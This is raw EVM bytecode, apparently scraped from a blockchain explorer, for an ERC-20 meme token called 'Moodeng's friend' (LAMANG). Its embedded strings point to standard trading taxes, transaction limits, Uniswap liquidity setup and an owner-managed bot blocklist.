2cb90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611da3611d5782846122cb90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461226e90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611e4684866122cb90919063ffffffff16565b604051611e539190612523565b60405180910390a350505050565b5f838311158290611ea8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9f91906123e5565b60405180910390fd5b505f8385611eb6919061311b565b9050809150509392505050565b6001601360156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611efa57611ef96125c4565b5b604051908082528060200260200182016040528015611f285781602001602082028036833780820191505090505b50905030815f81518110611f3f57611f3e612a27565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611fe3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906120079190612ad0565b8160018151811061201b5761201a612a27565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120813060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461137e565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016120e3959493929190613205565b5f604051808303815f87803b1580156120fa575f80fd5b505af115801561210c573d5f803e3d5ffd5b50505050505f601360156101000a81548160ff02191690831515021790555050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612192573d5f803e3d5ffd5b5050565b5f8083036121a6575f9050612207565b5f82846121b3919061297e565b90508284826121c2919061328a565b14612202576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121f99061332a565b60405180910390fd5b809150505b92915050565b5f61224e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612314565b905092915050565b5f8183116122645782612266565b815b905092915050565b5f80828461227c9190612fd1565b9050838110156122c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122b890613392565b60405180910390fd5b8091505092915050565b5f61230c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e61565b905092915050565b5f808311829061235a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235191906123e5565b60405180910390fd5b505f8385612368919061328a565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6123b782612375565b6123c1818561237f565b93506123d181856020860161238f565b6123da8161239d565b840191505092915050565b5f6020820190508181035f8301526123fd81846123ad565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61243f82612416565b9050919050565b61244f81612435565b8114612459575f80fd5b50565b5f8135905061246a81612446565b92915050565b5f819050919050565b61248281612470565b811461248c575f80fd5b50565b5f8135905061249d81612479565b92915050565b5f80604083850312156124b9576124b861240e565b5b5f6124c68582860161245c565b92505060206124d78582860161248f565b9150509250929050565b5f8115159050919050565b6124f5816124e1565b82525050565b5f60208201905061250e5f8301846124ec565b92915050565b61251d81612470565b82525050565b5f6020820190506125365f830184612514565b92915050565b5f805f606084860312156125535761255261240e565b5b5f6125608682870161245c565b93505060206125718682870161245c565b92505060406125828682870161248f565b9150509250925092565b5f60ff82169050919050565b6125a18161258c565b82525050565b5f6020820190506125ba5f830184612598565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6125fa8261239d565b810181811067ffffffffffffffff82111715612619576126186125c4565b5b80604052505050565b5f61262b612405565b905061263782826125f1565b919050565b5f67ffffffffffffffff821115612656576126556125c4565b5b602082029050602081019050919050565b5f80fd5b5f61267d6126788461263c565b612622565b905080838252602082019050602084028301858111156126a05761269f612667565b5b835b818110156126c957806126b5888261245c565b8452602084019350506020810190506126a2565b5050509392505050565b5f82601f8301126126e7576126e66125c0565b5b81356126f784826020860161266b565b91505092915050565b5f602082840312156127155761271461240e565b5b5f82013567ffffffffffffffff81111561273257612731612412565b5b61273e848285016126d3565b91505092915050565b5f6020828403121561275c5761275b61240e565b5b5f6127698482850161245c565b91505092915050565b61277b81612435565b82525050565b5f6020820190506127945f830184612772565b92915050565b5f80604083850312156127b0576127af61240e565b5b5f6127bd8582860161245c565b92505060206127ce8582860161245c565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561285a57808604811115612836576128356127d8565b5b60018516156128455780820291505b808102905061285385612805565b945061281a565b94509492505050565b5f82612872576001905061292d565b8161287f575f905061292d565b8160018114612895576002811461289f576128ce565b600191505061292d565b60ff8411156128b1576128b06127d8565b5b8360020a9150848211156128c8576128c76127d8565b5b5061292d565b5060208310610133831016604e8410600b84101617156129035782820a9050838111156128fe576128fd6127d8565b5b61292d565b6129108484846001612811565b92509050818404811115612927576129266127d8565b5b81810290505b9392505050565b5f61293e82612470565b91506129498361258c565b92506129767fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612863565b905092915050565b5f61298882612470565b915061299383612470565b92508282026129a181612470565b915082820484148315176129b8576129b76127d8565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6129f360208361237f565b91506129fe826129bf565b602082019050919050565b5f6020820190508181035f830152612a20816129e7565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f612a8860178361237f565b9150612a9382612a54565b602082019050919050565b5f6020820190508181035f830152612ab581612a7c565b9050919050565b5f81519050612aca81612446565b92915050565b5f60208284031215612ae557612ae461240e565b5b5f612af284828501612abc565b91505092915050565b5f604082019050612b0e5f830185612772565b612b1b6020830184612772565b9392505050565b5f819050919050565b5f819050919050565b5f612b4e612b49612b4484612b22565b612b2b565b612470565b9050919050565b612b5e81612b34565b82525050565b5f60c082019050612b775f830189612772565b612b846020830188612514565b612b916040830187612b55565b612b9e6060830186612b55565b612bab6080830185612772565b612bb860a0830184612514565b979650505050505050565b5f81519050612bd181612479565b92915050565b5f805f60608486031215612bee57612bed61240e565b5b5f612bfb86828701612bc3565b9350506020612c0c86828701612bc3565b9250506040612c1d86828701612bc3565b9150509250925092565b5f604082019050612c3a5f830185612772565b612c476020830184612514565b9392505050565b612c57816124e1565b8114612c61575f80fd5b50565b5f81519050612c7281612c4e565b92915050565b5f60208284031215612c8d57612c8c61240e565b5b5f612c9a84828501612c64565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612cfd60248361237f565b9150612d0882612ca3565b604082019050919050565b5f6020820190508181035f830152612d2a81612cf1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612d8b60228361237f565b9150612d9682612d31565b604082019050919050565b5f6020820190508181035f830152612db881612d7f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612e1960258361237f565b9150612e2482612dbf565b604082019050919050565b5f6020820190508181035f830152612e4681612e0d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612ea760238361237f565b9150612eb282612e4d565b604082019050919050565b5f6020820190508181035f830152612ed481612e9b565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612f3560298361237f565b9150612f4082612edb565b604082019050919050565b5f6020820190508181035f830152612f6281612f29565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612f9d60198361237f565b9150612fa882612f69565b602082019050919050565b5f6020820190508181035f830152612fca81612f91565b9050919050565b5f612fdb82612470565b9150612fe683612470565b9250828201905080821115612ffe57612ffd6127d8565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f613038601a8361237f565b915061304382613004565b602082019050919050565b5f6020820190508181035f8301526130658161302c565b9050919050565b5f61307682612470565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036130a8576130a76127d8565b5b600182019050919050565b7f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000005f82015250565b5f6130e760178361237f565b91506130f2826130b3565b602082019050919050565b5f6020820190508181035f830152613114816130db565b9050919050565b5f61312582612470565b915061313083612470565b9250828203905081811115613148576131476127d8565b5b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61318081612435565b82525050565b5f6131918383613177565b60208301905092915050565b5f602082019050919050565b5f6131b38261314e565b6131bd8185613158565b93506131c883613168565b805f5b838110156131f85781516131df8882613186565b97506131ea8361319d565b9250506001810190506131cb565b5085935050505092915050565b5f60a0820190506132185f830188612514565b6132256020830187612b55565b818103604083015261323781866131a9565b90506132466060830185612772565b6132536080830184612514565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61329482612470565b915061329f83612470565b9250826132af576132ae61325d565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f61331460218361237f565b915061331f826132ba565b604082019050919050565b5f6020820190508181035f83015261334181613308565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61337c601b8361237f565b915061338782613348565b602082019050919050565b5f6020820190508181035f8301526133a981613370565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c9b86791d83b69e8d1d2f61e1faf9b79392c6f77d1bd6dcc463435f2d4cbc2e964736f6c634300081a0033
Deployed Bytecode
0x608060405260043610610138575f3560e01c8063715018a6116100aa57806395d89b411161006e57806395d89b41146103d9578063a9059cbb14610403578063bf474bed1461043f578063c9567bf914610469578063d34628cc1461047f578063dd62ed3e146104a75761013f565b8063715018a61461032f578063751039fc146103455780637d1db4a51461035b5780638da5cb5b146103855780638f9a55c0146103af5761013f565b8063313ce567116100fc578063313ce5671461023957806331c2d847146102635780633bbac5791461028b57806351bc3c85146102c75780636fc3eaec146102dd57806370a08231146102f35761013f565b806306fdde0314610143578063095ea7b31461016d5780630faee56f146101a957806318160ddd146101d357806323b872dd146101fd5761013f565b3661013f57005b5f80fd5b34801561014e575f80fd5b506101576104e3565b60405161016491906123e5565b60405180910390f35b348015610178575f80fd5b50610193600480360381019061018e91906124a3565b610520565b6040516101a091906124fb565b60405180910390f35b3480156101b4575f80fd5b506101bd61053d565b6040516101ca9190612523565b60405180910390f35b3480156101de575f80fd5b506101e7610543565b6040516101f49190612523565b60405180910390f35b348015610208575f80fd5b50610223600480360381019061021e919061253c565b610567565b60405161023091906124fb565b60405180910390f35b348015610244575f80fd5b5061024d61063b565b60405161025a91906125a7565b60405180910390f35b34801561026e575f80fd5b5061028960048036038101906102849190612700565b610643565b005b348015610296575f80fd5b506102b160048036038101906102ac9190612747565b610761565b6040516102be91906124fb565b60405180910390f35b3480156102d2575f80fd5b506102db6107b3565b005b3480156102e8575f80fd5b506102f161084a565b005b3480156102fe575f80fd5b5061031960048036038101906103149190612747565b6108b9565b6040516103269190612523565b60405180910390f35b34801561033a575f80fd5b506103436108ff565b005b348015610350575f80fd5b50610359610a4d565b005b348015610366575f80fd5b5061036f610b7f565b60405161037c9190612523565b60405180910390f35b348015610390575f80fd5b50610399610b85565b6040516103a69190612781565b60405180910390f35b3480156103ba575f80fd5b506103c3610bac565b6040516103d09190612523565b60405180910390f35b3480156103e4575f80fd5b506103ed610bb2565b6040516103fa91906123e5565b60405180910390f35b34801561040e575f80fd5b50610429600480360381019061042491906124a3565b610bef565b60405161043691906124fb565b60405180910390f35b34801561044a575f80fd5b50610453610c0c565b6040516104609190612523565b60405180910390f35b348015610474575f80fd5b5061047d610c12565b005b34801561048a575f80fd5b506104a560048036038101906104a09190612700565b6111d6565b005b3480156104b2575f80fd5b506104cd60048036038101906104c8919061279a565b6112f5565b6040516104da9190612523565b60405180910390f35b60606040518060400160405280601081526020017f4d6f6f64656e67277320667269656e6400000000000000000000000000000000815250905090565b5f61053361052c611377565b848461137e565b6001905092915050565b60115481565b5f6012600a6105529190612934565b6461f313f880610562919061297e565b905090565b5f610573848484611541565b6106308461057f611377565b61062b856040518060600160405280602881526020016133b16028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6105e2611377565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e619092919063ffffffff16565b61137e565b600190509392505050565b5f6012905090565b61064b611377565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ce90612a09565b60405180910390fd5b5f5b815181101561075d575f60045f8484815181106106f9576106f8612a27565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806001019150506106d9565b5050565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107f3611377565b73ffffffffffffffffffffffffffffffffffffffff1614610812575f80fd5b5f61081c306108b9565b90505f8111156108305761082f81611ec3565b5b5f4790505f811115610846576108458161212e565b5b5050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661088a611377565b73ffffffffffffffffffffffffffffffffffffffff16146108a9575f80fd5b5f4790506108b68161212e565b50565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610907611377565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610993576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098a90612a09565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610a55611377565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad890612a09565b60405180910390fd5b6012600a610aef9190612934565b6461f313f880610aff919061297e565b600e819055506012600a610b139190612934565b6461f313f880610b23919061297e565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012600a610b589190612934565b6461f313f880610b68919061297e565b604051610b759190612523565b60405180910390a1565b600e5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600681526020017f4c414d414e470000000000000000000000000000000000000000000000000000815250905090565b5f610c02610bfb611377565b8484611541565b6001905092915050565b60105481565b610c1a611377565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ca6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9d90612a09565b60405180910390fd5b601360149054906101000a900460ff1615610cf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ced90612a9e565b60405180910390fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90508060125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f601360176101000a81548160ff021916908315150217905550610d9330337fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61137e565b610da530610da0336108b9565b610bef565b5060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e10573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e349190612ad0565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610eba573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ede9190612ad0565b6040518363ffffffff1660e01b8152600401610efb929190612afb565b6020604051808303815f875af1158015610f17573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f3b9190612ad0565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fc63060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61137e565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061103460646110266055611018306108b9565b61219690919063ffffffff16565b61220d90919063ffffffff16565b5f8061103e610b85565b426040518863ffffffff1660e01b815260040161106096959493929190612b64565b60606040518083038185885af115801561107c573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906110a19190612bd7565b5050506001601360176101000a81548160ff02191690831515021790555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161115c929190612c27565b6020604051808303815f875af1158015611178573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061119c9190612c78565b506001601360166101000a81548160ff0219169083151502179055506001601360146101000a81548160ff02191690831515021790555050565b6111de611377565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461126a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126190612a09565b60405180910390fd5b5f5b81518110156112f157600160045f84848151811061128d5761128c612a27565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550808060010191505061126c565b5050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e390612d13565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361145a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145190612da1565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115349190612523565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a690612e2f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361161d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161490612ebd565b60405180910390fd5b5f811161165f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165690612f4b565b60405180910390fd5b5f611668610b85565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156116d657506116a6610b85565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611bb15760045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611779575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b611781575f80fd5b601360179054906101000a900460ff16156117d5576117d260646117c4600a54600d54116117b1576006546117b5565b6008545b8561219690919063ffffffff16565b61220d90919063ffffffff16565b90505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561187e575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118d1575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561198b57600e5482111561191b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191290612fb3565b60405180910390fd5b600f5482611928856108b9565b6119329190612fd1565b1115611973576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196a9061304e565b60405180910390fd5b600d5f8154809291906119859061306c565b91905055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a1357503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611a5757611a546064611a46600b54600d5411611a3357600754611a37565b6009545b8561219690919063ffffffff16565b61220d90919063ffffffff16565b90505b5f611a61306108b9565b9050601360159054906101000a900460ff16158015611acc575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611ae45750601360169054906101000a900460ff165b8015611af1575060105481115b8015611b005750600c54600d54115b15611baf57601554431115611b17575f6014819055505b600360145410611b5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b53906130fd565b60405180910390fd5b611b79611b7484611b6f84601154612256565b612256565b611ec3565b5f4790505f811115611b8f57611b8e4761212e565b5b60145f815480929190611ba19061306c565b919050555043601581905550505b505b5f811115611cb057611c098160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461226e90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ca79190612523565b60405180910390a35b611d008260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546122cb90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611da3611d5782846122cb90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461226e90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611e4684866122cb90919063ffffffff16565b604051611e539190612523565b60405180910390a350505050565b5f838311158290611ea8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9f91906123e5565b60405180910390fd5b505f8385611eb6919061311b565b9050809150509392505050565b6001601360156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611efa57611ef96125c4565b5b604051908082528060200260200182016040528015611f285781602001602082028036833780820191505090505b50905030815f81518110611f3f57611f3e612a27565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611fe3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906120079190612ad0565b8160018151811061201b5761201a612a27565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120813060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461137e565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016120e3959493929190613205565b5f604051808303815f87803b1580156120fa575f80fd5b505af115801561210c573d5f803e3d5ffd5b50505050505f601360156101000a81548160ff02191690831515021790555050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612192573d5f803e3d5ffd5b5050565b5f8083036121a6575f9050612207565b5f82846121b3919061297e565b90508284826121c2919061328a565b14612202576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121f99061332a565b60405180910390fd5b809150505b92915050565b5f61224e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612314565b905092915050565b5f8183116122645782612266565b815b905092915050565b5f80828461227c9190612fd1565b9050838110156122c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122b890613392565b60405180910390fd5b8091505092915050565b5f61230c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e61565b905092915050565b5f808311829061235a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235191906123e5565b60405180910390fd5b505f8385612368919061328a565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6123b782612375565b6123c1818561237f565b93506123d181856020860161238f565b6123da8161239d565b840191505092915050565b5f6020820190508181035f8301526123fd81846123ad565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61243f82612416565b9050919050565b61244f81612435565b8114612459575f80fd5b50565b5f8135905061246a81612446565b92915050565b5f819050919050565b61248281612470565b811461248c575f80fd5b50565b5f8135905061249d81612479565b92915050565b5f80604083850312156124b9576124b861240e565b5b5f6124c68582860161245c565b92505060206124d78582860161248f565b9150509250929050565b5f8115159050919050565b6124f5816124e1565b82525050565b5f60208201905061250e5f8301846124ec565b92915050565b61251d81612470565b82525050565b5f6020820190506125365f830184612514565b92915050565b5f805f606084860312156125535761255261240e565b5b5f6125608682870161245c565b93505060206125718682870161245c565b92505060406125828682870161248f565b9150509250925092565b5f60ff82169050919050565b6125a18161258c565b82525050565b5f6020820190506125ba5f830184612598565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6125fa8261239d565b810181811067ffffffffffffffff82111715612619576126186125c4565b5b80604052505050565b5f61262b612405565b905061263782826125f1565b919050565b5f67ffffffffffffffff821115612656576126556125c4565b5b602082029050602081019050919050565b5f80fd5b5f61267d6126788461263c565b612622565b905080838252602082019050602084028301858111156126a05761269f612667565b5b835b818110156126c957806126b5888261245c565b8452602084019350506020810190506126a2565b5050509392505050565b5f82601f8301126126e7576126e66125c0565b5b81356126f784826020860161266b565b91505092915050565b5f602082840312156127155761271461240e565b5b5f82013567ffffffffffffffff81111561273257612731612412565b5b61273e848285016126d3565b91505092915050565b5f6020828403121561275c5761275b61240e565b5b5f6127698482850161245c565b91505092915050565b61277b81612435565b82525050565b5f6020820190506127945f830184612772565b92915050565b5f80604083850312156127b0576127af61240e565b5b5f6127bd8582860161245c565b92505060206127ce8582860161245c565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561285a57808604811115612836576128356127d8565b5b60018516156128455780820291505b